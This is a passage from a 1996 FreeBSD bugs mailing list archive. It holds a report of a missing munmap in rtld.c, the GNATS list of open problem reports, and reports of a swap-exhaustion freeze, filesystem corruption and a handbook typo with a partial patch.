owner-freebsd-bugs Fri Mar 22 12:35:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id MAA28120 for bugs-outgoing; Fri, 22 Mar 1996 12:35:08 -0800 (PST) Received: from stef.prod.com (ad24-121.compuserve.com [199.174.166.121]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id MAA28102 for ; Fri, 22 Mar 1996 12:34:54 -0800 (PST) Received: (from stef@localhost) by stef.prod.com (8.6.12/8.6.12) id PAA00509 for bugs@freebsd.org; Fri, 22 Mar 1996 15:33:06 -0500 Date: Fri, 22 Mar 1996 15:33:06 -0500 From: Stephane Russell Message-Id: <199603222033.PAA00509@stef.prod.com> Apparently-To: bugs@freebsd.org Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk BUG REPORT ---------- - File: src/gnu/usr.bin/ld/rtld.c - Function: unmaphints The function maphints map the hint file two times if the size of the hint file is bigger than PAGSIZ: > hsize = PAGSIZ; > addr = mmap(0, hsize, PROT_READ, MAP_COPY, hfd, 0); than > if (hheader->hh_ehints > hsize) { > if (mmap(addr+hsize, hheader->hh_ehints - hsize, > PROT_READ, MAP_COPY|MAP_FIXED, > hfd, hsize) != (caddr_t)(addr+hsize)) { > > munmap((caddr_t)hheader, hsize); > close(hfd); > hheader = (struct hints_header *)-1; > return; > } The function umaphints forgets to unmap the second part, if necessary: > static void > unmaphints() > { > > if (HINTS_VALID) { > munmap((caddr_t)hheader, hsize); > close(hfd); > hheader = NULL; > } > } As you can see, if the hint file grows bigger than PAGSIZ, this can lead to problems. Stef 102556,543@compuserve.com Note: There is probably no e-mail adress indicated on top of the letter. If you need to communicate with me, use the adress just above this note. From owner-freebsd-bugs Fri Mar 22 14:25:43 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA05738 for bugs-outgoing; Fri, 22 Mar 1996 14:25:43 -0800 (PST) Received: (from joerg@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id OAA05717 Fri, 22 Mar 1996 14:25:38 -0800 (PST) Date: Fri, 22 Mar 1996 14:25:38 -0800 (PST) From: Joerg Wunsch Message-Id: <199603222225.OAA05717@freefall.freebsd.org> To: jkh@time.cdrom.com, joerg, freebsd-bugs Subject: Re: bin/1094 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: tzsetup is broken State-Changed-From-To: open-closed State-Changed-By: joerg State-Changed-When: Fri Mar 22 23:24:53 MET 1996 State-Changed-Why: Fixed in tzmenu.c, rev 1.2. From owner-freebsd-bugs Fri Mar 22 16:55:58 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA16894 for bugs-outgoing; Fri, 22 Mar 1996 16:55:58 -0800 (PST) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA16873 Fri, 22 Mar 1996 16:55:50 -0800 (PST) Received: (from bde@localhost) by godzilla.zeta.org.au (8.6.12/8.6.9) id LAA32215; Sat, 23 Mar 1996 11:53:26 +1100 Date: Sat, 23 Mar 1996 11:53:26 +1100 From: Bruce Evans Message-Id: <199603230053.LAA32215@godzilla.zeta.org.au> To: bde@zeta.org.au, pst@shockwave.com Subject: Re: modloaded block/char device drivers Cc: bde@FreeBSD.ORG, bugs@FreeBSD.ORG, hackers@FreeBSD.ORG, jmz@FreeBSD.ORG Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >It seems to me, we need something like a top half and a bottom half of >the kdc, the top half stays with the driver (i.e. belongs to qcam or lpt) >and the bottom half stays with the hardware. Then opening either device >would lock out the other device. Using open to lock the device doesn't work so well for network devices. We already have many warty examples: slip, ppp and plip. Bruce From owner-freebsd-bugs Sat Mar 23 04:30:13 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA19969 for bugs-outgoing; Sat, 23 Mar 1996 04:30:13 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA19955 for freebsd-bugs; Sat, 23 Mar 1996 04:30:11 -0800 (PST) Date: Sat, 23 Mar 1996 04:30:11 -0800 (PST) From: GNU GNATS Message-Id: <199603231230.EAA19955@freefall.freebsd.org> To: freebsd-bugs Subject: List of open Problem Reports Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk This is the list of currently open problem reports [1994/11/18] conf/22 Cannot use links to share kernel objects [1994/11/30] kern/34 nullfs and union mounts can result in wild pointer r [1995/01/10] bin/104 pax -rwl may corrupt filesystem [1995/01/14] bin/115 systat iostat display doesn't scale high enough [1995/01/14] bin/116 disk transfer rates reported by systat :iostat are t [1995/01/14] bin/129 fsck cannot take a mount point as an argument [1995/01/14] bin/133 mail program doesn't have editheaders option [1995/01/15] bin/146 version of compress is kinda old and slow [1995/01/20] bin/153 mount -u improvement for diskless systems [1995/01/21] misc/166 /usr/include/machine/asmacros.h includes uninstalled [1995/01/21] bin/173 rc trys to mount modload fs before ld is available. [1995/01/21] bin/174 Poor error message from stty [1995/01/22] kern/176 EIDRM not defined in errno.h [1995/01/24] gnu/183 can't resolve "operator <<" overload [1995/01/24] bin/184 send-pr says "Aborting ..." and happily removes the [1995/01/30] gnu/196 size of bss in *.o's reported wrong by size [1995/01/30] bin/198 1.1.5.1 pine binary loops; top shows fancy values [1995/02/01] bin/199 quiz(6) reading database bug, pattern matching bug [1995/02/14] kern/216 /kernel: panic: ffs_alloccg: map corrupted [1995/02/16] kern/219 Performance on local net drops too much when SNDBUF [1995/03/02] misc/229 acos() core dump [1995/03/17] kern/247 Berkeley Packet Filter fix [1995/03/28] kern/275 qic-02 streamer won't work [1995/03/28] kern/281 Messages printed when checking CD ROM device too ver [1995/03/28] kern/282 buslogic adapter information WAY too verbose [1995/04/01] kern/291 PCI devices still probe/attach after being disabled [1995/04/09] bin/323 Creating lost+found causes fsck to stop fsck -y FDIV [1995/04/09] bin/326 Weekly cron generates some usage and error messages [1995/04/09] bin/329 FTP transfers above 99K shown in scientific notation [1995/04/15] kern/345 panic "biodone: page busy < 0" [1995/04/17] kern/349 Panic with bad dir [1995/04/20] kern/353 xcdplayer crashes machine (with NCR810 SCSI) [1995/04/20] misc/355 policy on /usr/local permission in base release [1995/04/20] bin/357 pkg_delete aborts when subcommand fails [1995/05/01] gnu/373 In response to admittedly bogus code, gcc emits an o [1995/05/01] kern/374 panic: bad dir [1995/05/08] bin/389 Simultaneous creation/deletion of dirs corrupts file [1995/05/12] bin/398 VI doesnt do the correct thing [1995/05/13] bin/401 Add REMOTE_* variables [1995/05/13] bin/402 w -n shows non-numeric addresses [1995/05/13] misc/403 FreeBSD 1-compiled tcsh, bash and zsh binaries dump [1995/05/14] kern/405 The gpio driver does not work with the AT-GPIB, only [1995/05/14] kern/416 page fault in syscons.c:scopen() [1995/05/14] bin/419 pkg_delete refuses to delete an incompletely added p [1995/05/15] misc/423 Sound devices are too insecure [1995/05/16] kern/425 arp entries not getting removed when interface chang [1995/05/16] kern/427 eg doesn't work with more than one card [1995/05/16] kern/428 configure is not foolproof [1995/05/23] i386/440 want vidcontrol option to apply settings to all sysc [1995/05/25] kern/443 65 sendmails crashes system [1995/05/26] i386/444 GUS sound driver does not seem to work. [1995/05/26] kern/446 unable to diskless-boot a PC when the server mounts [1995/05/27] gnu/450 tar --exclude -c doesn't work [1995/05/28] gnu/451 cvsinit/cvs doesn't work as expected with perl [1995/05/29] bin/457 We may have an obscure csh bug [1995/05/30] docs/458 px doc does not find include figure [1995/05/31] kern/466 Unexpected disk errors with sector-mapping controlle [1995/06/01] misc/469 ctm leaves temp files after errors [1995/06/05] kern/492 sysinstall shows "success" after "no space" failure. [1995/06/14] bin/514 Crash recovery impossible without static mt/chflags. [1995/06/15] bin/517 Bad group change with 'install' [1995/06/15] bin/519 execution of quotacheck from /etc/rc fails [1995/06/17] kern/528 slow 386 reports excessive interrupt-level buffer ov [1995/06/18] misc/530 Failed install from SCSI tape [1995/06/20] docs/536 No copyrights in usr/src/lib/libc/stdtime [1995/06/20] bin/537 FSCK Fails [1995/06/26] kern/565 slip freezes machine [1995/07/02] kern/579 sio: RS_IBUFSIZE at 256 bytes serial lines loose dat [1995/07/04] kern/587 if_le hangs on OACTIVE with 2k buffer [1995/07/04] kern/588 Configuration of DEC ethernet cards not possible [1995/07/05] bin/591 SPAP request REJexted in stead of NAKed [1995/07/06] i386/596 and conflict with _POSIX_SOURCE [1995/07/07] bin/599 pkg_add does not stop if dependencies are missing [1995/07/09] misc/605 NIS: get*bynis routine problems [1995/07/13] kern/611 WIDE-dhcp doesn't work with FreeBSD-2.0 bpf [1995/07/21] i386/631 if_ix does not support bpf, nor does it appear to su [1995/07/29] kern/638 Transmitted packets not passed to bpf in if_le.c [1995/08/01] docs/646 vmstat man page out of date [1995/08/01] bin/648 printf format conversion incorrect (duplicate) [1995/08/02] gnu/650 Current flex is outdated [1995/08/03] kern/652 Multiple addresses on one interface interacts badly [1995/08/05] gnu/655 ld -r of shared objects worked in 1.1.5, not in 2.0. [1995/08/07] bin/658 ifconfig alias has to be separately given [1995/08/07] bin/661 Hercules is not capable of having a ISO-Latin1 Scree [1995/08/11] gnu/672 Nor all ph headers get created [1995/08/11] ports/673 /bin/sh + inn1.4 innwatch going belly up [1995/08/11] bin/675 make does unnecessary rebuilds [1995/08/12] kern/677 X gets a bus error when calling mmap() [1995/08/13] bin/680 2.0.5's tip using termios doesn't act the way it did [1995/08/14] bin/683 cron(8) [1995/08/14] kern/688 Page fault: supervisor write, page not present [1995/08/15] i386/692 My modem is not found if my external cache is disabl [1995/08/16] bin/693 `pkg_add' is umask-sensitive [1995/08/16] kern/695 cat B > C ; cmp B C can fail! [1995/08/17] misc/697 "make -DCLOBBER" is broken [1995/08/18] kern/700 The comments in /sys/net/in.h are confusing [1995/08/21] kern/703 ppp not always deleting route properly when a ppp li [1995/08/22] bin/706 increased root DNS traffic and long latencies for r- [1995/08/29] bin/715 ls gives weird tabular form [1995/08/31] bin/716 W returns wrong results at login [1995/09/01] misc/717 ft.c attach fail on my Mountain tape drive [1995/09/02] bin/718 pkg_add incorrectly prints an error message [1995/09/15] bin/722 Off-by-one error in wbkgd() in ncurses [1995/09/19] bin/728 /bin/sh messes up quoting when going through eval [1995/09/21] docs/731 socketpair(2) and man page inconsistent about return [1995/09/23] docs/735 missing description for mount options in fstab(5) ma [1995/09/25] gnu/737 FreeBSD-current/src/gnu/usr.bin/gzip/Makefile [1995/09/26] bin/739 Some problems when an output filter reads all input [1995/09/26] docs/741 netstat -rn not showing all routes in Kernel - not i [1995/09/26] kern/742 syslog errors accessing Mac hard disks [patch] [1995/09/27] bin/743 vi cannot edit a file where the name starts with + [1995/09/27] bin/747 date(1) gives weird time zones and interprets GMT[+- [1995/09/27] kern/750 cd9660 confused by not-ready or I/O errors FDIV030 [1995/09/28] bin/751 crontab(1): `crontab -e' exits on SIGINT [1995/09/28] kern/752 setting multiple addresses for a single interfaces l [1995/09/28] kern/753 my archive scsi tape drive does not work [1995/09/28] docs/754 there is no man page for the psm(4) mouse driver [1995/10/01] kern/757 Removal of mounted CD-ROM causes reboot & single use [1995/10/01] bin/759 nfsd without arg's doesn't work [1995/10/03] kern/765 umount -f can`t umount a NFS filesystem in use [1995/10/05] misc/767 Configure-time does time-warp on non-UTC CMOS - FDIV [1995/10/06] kern/770 Floppy kernel won't boot with T485 or IDT L2 cache F [1995/10/08] kern/772 page fault while in kernel mode (two cases) [1995/10/09] kern/774 dump fails with "slave couldn't reopen disk: Device [1995/10/11] bin/777 patch doesn't realize stdin is closed and asks quest [1995/10/12] bin/778 tar complains "EOF not on block boundary" on a good [1995/10/12] bin/779 #include gets undefined 'rune_t' type. [1995/10/14] kern/781 OPEN_MAX in kernel config and FD_SETSIZE in /usr/inc [1995/10/18] bin/786 Problem with NIS and large group maps [1995/10/23] bin/789 pkg_add doesn't work [1995/10/25] kern/792 cd9660 very slow. [1995/10/25] kern/793 ep0 cannot be configured and more. [1995/10/26] kern/794 swap partition at offset 0 still broken [1995/10/27] misc/796 Network install doesn't update /etc/hosts FDIV036 [1995/10/27] bin/797 X probeonly during install gets Not Found error FDIV [1995/10/29] kern/798 PPP panics, touches 0xdeadc0de pointers [1995/10/29] misc/799 sysinstall segfaults if part of distribution missing [1995/10/29] docs/801 rlogind k, v, and x options are not documented [1995/10/30] misc/802 default fstab mounts disks in bad order [1995/10/31] bin/803 bsd m4 chokes and dies while FSF m4 works... [1995/10/31] kern/806 kernel default parameters need tuning [1995/11/09] ports/814 unable to compile the port of "pine3.91" [1995/11/11] bin/815 mountd reports unknown hosts with non-informative me [1995/11/12] kern/820 scsi tape problems [1995/11/13] kern/821 Config doesn't properly trap signals [1995/11/16] bin/826 tcpmux listener in inetd does not work [1995/11/20] kern/830 installing hang [1995/11/20] kern/831 one minor complaint about the kernel visual config c [1995/11/21] i386/832 Tape drive busy errors - dump aborts [1995/11/21] i386/833 SCSI hard disks time out during tape rewind - FDIV03 [1995/11/22] kern/834 pcvt: console keyboard locks up randonly [1995/11/22] kern/835 ed panics with SMC ultra with iomem, if no iomem in [1995/11/24] misc/838 /usr/src/lib Makefile assumes you want to install... [1995/11/25] bin/839 by default, use of "at" is overly restricted [1995/11/27] bin/841 stale nfs mounts cannot be umounted [1995/11/27] kern/844 mbuf panic, dump available [1995/11/27] kern/845 Automatic reboot says you can abort but boots anyway [1995/11/27] conf/846 2.1R install disk tries to use sd0 even if not reque [1995/11/28] misc/848 Inst gripes about geometry but won't accept true val [1995/11/28] misc/849 Install skimps on inodes and newfs default is wrong [1995/11/28] bin/850 dump treats write-protect as an EOT & spoils set FDI [1995/11/29] bin/852 Sendmail is loosing mail (apparently)! [1995/11/30] bin/854 swapinfo shows incorrect information for vnconfig'd [1995/11/30] misc/856 Install 2.0.5 Upgrade option does too much damage FD [1995/11/30] ports/857 Need ANSI_C define to not declare some functions [1995/12/01] bin/859 /bin/sh -c does not ignore SIGINT [1995/12/02] kern/860 visual mode in kernel -c is too restrictive [1995/12/03] kern/861 sb16 support in 2.1 is erratic and has cosmetic defe [1995/12/03] kern/863 panic on kernel page fault, NULL curproc [1995/12/04] kern/866 pcvt causes system console to lock up [1995/12/04] i386/867 Notebook with APM and 3C589C in PCMCIA freezes after [1995/12/06] ports/869 xcdplayer installs itself is /usr/X11R6, not /usr/lo [1995/12/06] ports/871 port.subdir.mk DEBUG_FLAGS is not used for CFLAGS [1995/12/08] misc/875 Cleaned code using -Wall to remove warnings [1995/12/08] kern/876 NFS allows bogus accesses to cached data [1995/12/09] misc/882 Makefile is not smart enough to bypass libraries... [1995/12/09] ports/883 tclX-port does not build properly [1995/12/14] misc/893 terminfo.h not installed??? [1995/12/17] kern/900 ext2fs triggers divide by zero trap in vnode_pager_h [1995/12/18] kern/902 system becomes very sluggish, odd messages, odd vmst [1995/12/20] i386/906 /sys/i386/boot/netboot/nb8390.com cannot recognize N [1995/12/21] kern/907 scsi-dat tape station has stopped working [1995/12/21] bin/908 sed bug with trailing backslashes [1995/12/24] kern/912 unmount: dangling vnode [1995/12/24] conf/913 2.1.0-RELEASE, problem with cpio verbosity in instal [1995/12/25] bin/914 hayes dialer for tip fails 1st attempt to dial [1995/12/29] kern/919 weird output of vmstat, iostat, top [1995/12/29] kern/920 sio output looses chars in fifo on close() [1995/12/29] kern/921 getrusage() returns 0 after system up for a long tim [1995/12/31] kern/924 EISA devices have disappeared from vmstat/systat int [1996/01/01] bin/926 Mounting nfs disks before starting mountd: Chicken o [1996/01/02] kern/927 VGA mode not restored [1996/01/03] kern/930 sio/getty problem? [1996/01/06] kern/932 de0 occasionally enables 100baseTX when plugged into [1996/01/06] misc/934 ppp dies with Bus Error when processing long LOGIN s [1996/01/09] kern/940 panic: free vnode isn't [1996/01/12] misc/942 X11 mono server dumps core on supported video hardwa [1996/01/13] ports/944 Security fixes for Fvwm 1.24r [1996/01/15] kern/946 divide-by-zero in kernel on bad disk info [1996/01/16] kern/949 panic, undebugable dump? [1996/01/16] kern/950 Two PCI bridge chips fail (multiple multiport ethern [1996/01/17] kern/951 -current kernel crashes with devfs error on bootup [1996/01/19] ports/955 make CFLAGS=whatever for a port will not be honored [1996/01/19] kern/956 Kernel page fault, null callp [1996/01/19] bin/958 ttys file does not include all ptys [1996/01/20] i386/960 gameport enabling on ProAudio Spectrum isn't documen [1996/01/21] bin/961 'more $file', incorrect CRLF compacting. [1996/01/22] kern/962 panic on shutdown -- have crash dump [1996/01/23] ports/968 Netscape & cern_httpd ports out of date/dead links [1996/01/25] kern/971 Default limits for number of processes per user ridi [1996/01/25] conf/972 inetd.conf should comment out k-services if no Kerbe [1996/01/27] kern/974 ktrace causes panic: freeing busy page [1996/01/28] kern/975 getrusage returns negative deltas [1996/01/28] kern/976 NCR SCSI driver gives assertion errors and disk beco [1996/01/29] kern/977 system panic on sowakeup() [1996/01/29] kern/978 Three deadlocks in row [1996/01/29] kern/979 Linux programs using pipes crash system [1996/01/30] bin/981 clnt_broadcast() is not aware of aliases [1996/02/01] bin/986 problems make-ing with cd in the rule [1996/02/03] kern/989 devfs error messages on boot [1996/02/03] kern/991 pcvt keyboard doesn't accept input at crash reboot [1996/02/03] bin/993 g++ complains about /usr/include/machine/cpufunc.h [1996/02/04] kern/994 syscons bug in ESC[nX handling (w/fix) [1996/02/05] misc/995 /var/run/gated.pid is deleted [1996/02/06] kern/998 badness in file system silently crashes machine [1996/02/07] bin/999 /usr/share/mk/sys.mk missing common $(RM) macro [1996/02/07] docs/1000 miscellaneous man page bugs [1996/02/07] kern/1001 M_NAMEI malloc leak in the kernel [1996/02/08] ports/1005 netscape port is obsolete, mv netscape2 netscape [1996/02/08] kern/1008 Daily crash while writing network backups to local t [1996/02/09] kern/1012 vnode_pager_putpages: attempt to write meta-data!!! [1996/02/10] kern/1016 panic: vm_page_free: freeing free page, sddump: no s [1996/02/10] kern/1017 ssh stopped working between 15th Jan and 9th Feb [1996/02/12] kern/1018 panic: unwire: page not in pmap [1996/02/12] bin/1019 getty cannot detect ppp logins [1996/02/12] kern/1020 Boca 16-port board still hangs [1996/02/12] bin/1021 pppd doesn't handle PAP-only authentication well [1996/02/12] bin/1022 daily security report has too much junk in it [1996/02/12] docs/1023 using touch to create swap file for NFS doesn't work [1996/02/13] misc/1024 installation may delete partitions on existing boot [1996/02/14] kern/1026 deadlocks if parent vfork and child has cntrl termin [1996/02/14] kern/1027 panic on vm_map_insert [1996/02/14] bin/1028 shutdown -r does not seem to always complete [1996/02/15] bin/1029 cd behaves erraticly if cwd is a mount-point, which [1996/02/17] bin/1030 /bin/sh does not pass environment variables on prope [1996/02/18] kern/1034 Instant panic in -current [1996/02/19] bin/1035 ls to terminal always uses ? for non-printable chars [1996/02/19] docs/1036 List of dead xrefs in man pages [1996/02/19] bin/1037 2.x telnetd handles CTRL-M differently than other tt [1996/02/23] bin/1040 with certain flags, route can reboot your machine. [1996/02/25] i386/1042 Warning from sio driver reports wrong device FDIV045 [1996/02/26] misc/1043 vm_bounce_alloc error on 2.1 install with 4G drive [1996/02/26] docs/1044 clri(8) man page references man pages that don't exi [1996/02/27] kern/1045 Lockup: b_to_q to a clist with no reserved cblocks [1996/02/27] misc/1046 X dies with sig11 with -current [1996/02/27] gnu/1047 send-pr: Aborting... [1996/02/28] i386/1048 ep driver fails to detect card when told specific va [1996/02/28] kern/1049 /kernel: arpresolve: can't allocate llinfo for 194.1 [1996/02/28] bin/1050 Process (zip) hangs (unkillable) after floppy error [1996/02/29] ports/1051 zip fails on dos partition [1996/02/29] bin/1052 /bin/sh problem with new GCC (snapshot for 2.8) [1996/03/02] bin/1056 pppd fails if -detach [1996/03/04] kern/1059 null fs panics system [1996/03/05] i386/1062 sio probe blanks video on Intel Atlantis [1996/03/05] kern/1063 gzip a.out execution is not ok (?) [1996/03/05] kern/1064 Recursive panic? [1996/03/06] kern/1065 wt could crash reading short blocks [1996/03/06] kern/1066 Arnet driver: panic when ifconfig PPP -> HDLC [1996/03/08] bin/1068 man ignores -P option when combined with -k [1996/03/08] ports/1069 TkMan acts erroneusly on apropos [1996/03/09] bin/1070 /usr/bin/fstat doesn't display open, active pure tex [1996/03/09] ports/1072 tex port (ftplib.pl) does not support passive mode f [1996/03/09] bin/1073 telnet -8 does not work with SunOS or Solaris [1996/03/09] bin/1074 tty rows & columns settings sometimes reset to zero [1996/03/11] conf/1076 'make install' fails for /usr/src/share/examples in [1996/03/13] bin/1077 ipfw command doesn't work on 2.1-STABLE [1996/03/13] ports/1078 /usr/share/examples/sup/ports-supfile doesn't includ [1996/03/15] misc/1079 Can not work about get{host|net]byaddr on NIS. [1996/03/16] kern/1080 Panic @ _get_pt_entry+0x8 [1996/03/16] kern/1081 Fatal double fault [1996/03/16] kern/1082 Panic: _ed start(f01dc0ec) at ed start+0x315 [1996/03/17] kern/1086 PANIC: pagedaemon/_pmap_clear_reference+0xb2 [1996/03/17] kern/1087 Device close entry is not called when unmounting UFS [1996/03/18] misc/1088 mail.local will happily overfill a users mailbox put [1996/03/18] docs/1089 stat manpage unclear about st_mtime & friends [1996/03/20] kern/1090 iostat displays incorrect sps count [1996/03/20] kern/1092 ftruncate(2) returns EINVAL [1996/03/20] bin/1093 route's diagnostic is weird [1996/03/21] bin/1095 make's continuation line handling buggy when used wi [1996/03/21] pending/1096 request for a customer id [1996/03/21] i386/1097 system hang during tape rewind/aic7870 controller This is the list of problem reports already analyzed: [1994/12/01] kern/35 mount -t union -o -b : lower layer not seen by shell [1995/01/11] i386/105 Distributed libm (msun) has non-standard error handl [1995/01/22] docs/177 man pages missing for SYSV IPC funtions [1995/03/20] kern/260 msync and munmap don't bother to update mod times [1995/03/20] docs/264 There are no manual pages for the forms library. [1995/03/22] kern/267 NFS code gives error messages, systems jams for a fe [1995/05/09] bin/392 Simultaneous cp and ls of files on dos f/s hangs pro [1995/06/17] kern/527 dump causes assertion in ncr.c [1995/06/21] docs/538 MAP_FILE not mentioned in mmap man page. [1995/10/07] bin/771 telnet character mode not set and broken when set - [1995/10/15] kern/782 chmod does a null pointer dereference [1995/12/29] misc/922 From line handling incorrect in mail.local [1996/01/09] bin/941 pkg_create removes current directory if interupted [1996/01/22] kern/965 2.0.5: system crashes daily because of "multiple fre [1996/03/06] kern/1067 panic: ufs_lock: recursive lock not expected, pid: 2 /* EOF -- this list has not been truncated */ From owner-freebsd-bugs Sat Mar 23 04:30:14 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA19970 for bugs-outgoing; Sat, 23 Mar 1996 04:30:14 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA19958 for freebsd-bugs; Sat, 23 Mar 1996 04:30:12 -0800 (PST) Date: Sat, 23 Mar 1996 04:30:12 -0800 (PST) From: GNU GNATS Message-Id: <199603231230.EAA19958@freefall.freebsd.org> To: freebsd-bugs Subject: Summary of Problem Reports Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Number of currently open reports: 291 Number of curently analyzed reports: 15 From owner-freebsd-bugs Sat Mar 23 06:34:38 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA23679 for bugs-outgoing; Sat, 23 Mar 1996 06:34:38 -0800 (PST) Received: from isis.min.ntt.jp (ishizuka@isis-f.min.ntt.jp [163.138.55.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id GAA23674 for ; Sat, 23 Mar 1996 06:34:36 -0800 (PST) Received: by isis.min.ntt.jp (8.6.12/core*min.mx13) with TCP; Sat, 23 Mar 1996 23:33:48 +0900 Message-Id: <199603231433.XAA11941@isis.min.ntt.jp> To: bugs@freebsd.org Subject: System froze when memory out. Date: Sat, 23 Mar 1996 23:33:42 +0900 From: Masachika ISHIZUKA Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi. I use 2.2-960321-SNAP. Even when swap area was exhaust, swapper did not kill appropriate processes and system was froze. From owner-freebsd-bugs Sat Mar 23 15:10:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA17987 for bugs-outgoing; Sat, 23 Mar 1996 15:10:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA17981 Sat, 23 Mar 1996 15:10:02 -0800 (PST) Resent-Date: Sat, 23 Mar 1996 15:10:02 -0800 (PST) Resent-Message-Id: <199603232310.PAA17981@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, hsu@clinet.fi Received: from hauki.clinet.fi (root@hauki.clinet.fi [194.100.0.1]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id PAA17649 for ; Sat, 23 Mar 1996 15:00:44 -0800 (PST) Received: from katiska.clinet.fi (root@katiska.clinet.fi [194.100.0.4]) by hauki.clinet.fi (8.7.3/8.6.4) with ESMTP id BAA26088 for ; Sun, 24 Mar 1996 01:00:19 +0200 (EET) Received: (root@localhost) by katiska.clinet.fi (8.7.4/8.6.4) id BAA17185; Sun, 24 Mar 1996 01:00:09 +0200 (EET) Message-Id: <199603232300.BAA17185@katiska.clinet.fi> Date: Sun, 24 Mar 1996 01:00:09 +0200 (EET) From: Heikki Suonsivu Reply-To: hsu@clinet.fi To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/1098: File system corruption (2 cases) Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1098 >Category: kern >Synopsis: File system corruption (2 cases) >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 23 15:10:01 PST 1996 >Last-Modified: >Originator: Heikki Suonsivu >Organization: Clinet, Espoo, Finland >Release: FreeBSD 2.2-CURRENT i386 >Environment: First case: P90 news server, two Adaptek 2940s, 2*4G news spool, 1 * 4G root/usr, 1 * 1G news history. News disks were mounted async when this happened. Second case: 486-100, IDE disks, 1*400M root/usr, 1.2G local. No async mounts. Kernels are from mid-february sups. >Description: Filesystems get seriosly corrupted. Files and directories which are in active use at the time of the crash are corrupted. fsck -y does not fix directories, it becomes a loop until broken directory is manually clri'd, fsck removes cleared inodes but after salvaging the damaged directory it also salvages cleared inodes, thus never getting rid of cleared files. clring the damaged directory fixes this. In the first case, large number of news directories were corrupted, in addition to small damage on all disks. In the second case, things like /dev, /usr/libexec and several other directories actively used were lost. libc.so.2.2 was corrupted (at least). The common thing was that all the things corrupted were the ones with most active use, and things corrupted were not necessarily things being modified (libexec and libc hardly change often). In the second case the computer first seemed to become confused, and finally locked up. After reboot it did not come up as /dev was corrupted. >How-To-Repeat: I don't know. One happened to an unattended machine (news server), the second case could have been a shock by hitting the table the computer was on, but the symptoms are exactly the same for the unattended machine. It seems that everything in the buffer cache was corrupted and then written back to the disk. Ie. it smashes everything important. >Fix: I wish I knew. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Sat Mar 23 19:50:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA24081 for bugs-outgoing; Sat, 23 Mar 1996 19:50:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA24073 Sat, 23 Mar 1996 19:50:02 -0800 (PST) Resent-Date: Sat, 23 Mar 1996 19:50:02 -0800 (PST) Resent-Message-Id: <199603240350.TAA24073@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, masafumi@tky007.tth.expo96.ad.jp Received: from mail.tky007.tth.expo96.ad.jp (root@tky007.tth.expo96.ad.jp [133.246.32.58]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA23475 for ; Sat, 23 Mar 1996 19:42:19 -0800 (PST) Received: (from masafumi@localhost) by mail.tky007.tth.expo96.ad.jp (8.7.4/3.4W4-SMTP) id VAA28533; Sat, 23 Mar 1996 21:03:26 +0900 (JST) Message-Id: <199603231203.VAA28533@mail.tky007.tth.expo96.ad.jp> Date: Sat, 23 Mar 1996 21:03:26 +0900 (JST) From: Masafumi NAKANE Reply-To: masafumi@tky007.tth.expo96.ad.jp To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: docs/1099: Typo in /usr/src/share/doc/handbook/porting.sgml Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 1099 >Category: docs >Synopsis: Typo in /usr/src/share/doc/handbook/porting.sgml >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Sat Mar 23 19:50:01 PST 1996 >Last-Modified: >Originator: Masafumi NAKANE >Organization: >Release: FreeBSD 2.2-960303-SNAP i386 >Environment: >Description: Typo in porting.sgml. If I'm understanding the content of the document correctly, following patch should be applied. >How-To-Repeat: >Fix: Here's the patch to !-- $Id: porting.sgml,v 1.16 1996/03/21 14:15:01 asami Exp $ -- *** porting.sgml.orig Fri Mar 22 00:28:20 1996 --- porting.sgml Sat Mar 23 19:23:21 1996 *************** *** 498,504 **** name of your port. The default rules expect the distribution file list (${DISTFILES}) to be named ! ${DISTFILE}${EXTRACT_SUFX} by default which, if it's a normal tarball, is going to be something like: --- 498,504 ---- name of your port. 